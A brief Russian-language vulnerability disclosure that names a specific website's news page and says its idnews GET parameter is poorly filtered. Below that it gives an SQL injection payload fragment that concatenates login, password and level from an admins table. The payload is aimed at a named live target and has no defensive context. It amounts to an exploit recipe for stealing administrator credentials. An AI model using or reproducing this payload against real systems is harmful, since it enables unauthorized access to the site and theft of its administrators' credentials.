Уязвимость существует в get запросе http://www.bryansktel.ru/news/?idnews=121 из-за недостаточной фильтрации переменной idnews.

select+concat(login,0x3a,password,0x3a,level)+from +admins+limit+0,1